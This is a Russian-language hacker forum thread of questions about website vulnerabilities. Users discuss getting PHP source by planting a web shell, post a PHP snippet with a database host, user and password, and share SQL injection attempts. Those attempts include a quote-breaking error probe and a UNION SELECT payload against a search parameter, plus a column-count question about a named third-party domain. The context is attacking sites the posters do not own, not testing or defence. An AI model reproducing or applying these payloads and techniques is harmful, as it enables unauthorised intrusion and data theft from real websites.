Ваши вопросы по уязвимостям.

......... из Xspider//

 

как скачать с сайта php фаил в его настоящем виде?

 

Залить шелл, получить доступ к фтп.

 

Redwood
А просто скачать никак? Если знаеш путь к нему и название.

 

Если речь идет о чужом сайте, то никак. PHP обрабатывается интерпретатором на сервере и отдает результат выполнения скрипта браузеру. Это язык с закрытым исходным кодом, в отличие от HTML или JS. Представь, есть у тебя сайт и есть скажем PHP файл с конфигом от БД, который доступен любому пользователю из веба, чтобы бы могло произойти в таком случае?

 

Redwood
Понятно.Спасибо!

 

Только если пхп падает, то файлы открываются в исходном виде..

 

мда... каникулы.. PHP скрипт обрабатывается на сервере и результат отдает браузеру в виде html кода, который он потом обрабатывает. Так что делай выводы - НЕЛЬЗЯ.

 

народ помогите со списком таблиц и колонок для джоб ресурсов или дайте линк если где нит есть, буду признателен.

 

вопрос: чем можно законектиться к бд? (если конечно конект разрешен)

 

<?php
$connect=mysql_connect('db2.*****.com', 'remoteuser', 'ru45zxcWx') or die('fuck!');
echo "connected";
?>

 

Можешь воспользоваться скриптом Sypex Dumper.
http://sypex.net/ru/products/dumper/downloads/
Это если в дальнейшем планируется работа с БД.

 

помогите, как правильно сделать запрос ?
site.com/search/?search=1&search_words=j&search_section_id=25'&search_cond=1&search_numrows=10

DB query error: SELECT t.tr_id FROM t_tree_index as ti, t_tree as t, t_tree_visible as tv WHERE (ti.parent_id=25' OR ti.tr_id=25') AND ti.tr_id=t.tr_id AND t.lang_id='3' AND t.tr_id=tv.tr_id AND tv.lang_id='3' AND tv.part_id='1' /var/www/localhost/htdocs/site/back/inc/db_mysql.php on line 326

 

site.com/search/?search=1&search_words=j&search_section_id=25)+union+select+1+--+&search_cond=1&search_numrows=10

 

не могу найти число столбцов

http://www.site.com/index.php?poll=id&sort=DESC&results=15&page=7

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\Domains\site.com\wwwroot\index.php on line 124

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in C:\Domains\site.com\wwwroot\includes\config.php on line 21

Warning: mysql_select_db() [function.mysql-select-db]: Access denied for user 'ODBC'@'127.0.0.1' (using password: NO) in C:\Domains\site.com\wwwroot\includes\config.php on line 32

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in C:\Domains\site.com\wwwroot\includes\config.php on line 32

 

Где вы тут инъекцию видите?

 

navicat

 

не могу найти число столбцов

http://fastmapdownloads.com/index.php?order=id&sort=DESC&results=15&page=7

 

Читай пост выше. Тебе написали что инъекции нету. Там ошибка подключения к БД.

 

ошибка подключения к серверу MySQL - mysql_connect() error
ошибка в выборе БД - mysql_select_db () error